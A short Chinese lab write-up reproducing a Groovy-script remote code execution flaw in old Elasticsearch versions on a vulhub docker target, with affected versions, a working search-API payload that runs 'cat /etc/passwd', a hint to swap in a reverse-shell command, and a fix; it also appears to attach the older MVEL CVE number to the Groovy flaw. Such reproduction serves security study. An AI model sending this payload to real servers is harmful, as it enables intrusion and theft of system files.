0x00 实验环境

攻击机:Win 10

靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)

0x01 影响版本

Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2

0x02 漏洞复现

简介:ElasticSearch Groovy脚本被爆出存在远程代码执行漏洞

该版本存在漏洞风险!!!

与上一篇代码执行一样,这次的执行方式也是,需要首先使用ElasticSearch的目录创建数据,创建成功将如下图所示:

POST /website/blog/ HTTP/1.1
Host: yourIP:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 27 {
"name": "hello1"
}

然后直接使用POC进行代码执行:

POST http://target:9200/_search?pretty
{"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}

以POST的方式提交,可以修改cat etc/passwd命令为其他反弹shell的命令,具体可以参考上一篇命令执行文章。

0x03 实验原理

参考:https://www.cnblogs.com/sxmcACM/p/4435842.html

2014年爆出的(CVE-2014-3120),由于搜索引擎支持使用脚本代码(MVEL)作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意Java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行。修复:修改elasticseach.yml的 script.groovy.sandbox.enabled 为 false

最新文章

  1. SpringBoot Schedule 配置
  2. ubuntu安装pip3
  3. MongoDB基本概念
  4. 关于软工项目beta版本
  5. MUI功能列表
  6. NOIP2006 能量项链
  7. Nginx Resource
  8. 看懂SqlServer查询计划 SQL语句优化分析
  9. orale 查询每年、每月、每日统计量的sql语句
  10. Round #4 RMQ问题ST算法
  11. TextView走马灯
  12. 优美序列(sequence)
  13. mysql 定时备份bat脚本 ,方便小型服务简单快速备份mysql
  14. TRIO-basic指令--九九乘法表demo
  15. pygame设置text和image共同显示
  16. python 条件语句和基础数据类型
  17. 复习下C 链表操作(单向循环链表、查找循环节点)
  18. DNS Bind服务配置解析
  19. 【RF库Collections测试】lists should be equal
  20. 初学SQL语句练习1

热门文章

  1. dict与set -- Python
  2. 使用SignTool对软件安装包进行数字签名(二)--进行数字签名
  3. Tensorflow2的基本用法
  4. mybatis(五)mybatis工作流程
  5. 记一次getshell
  6. Inkscape 太慢
  7. React Hooks: useCallback All In One
  8. css & object-fit & background-image
  9. ES6 & Classes & Interface
  10. Linux下部署Apache+PHP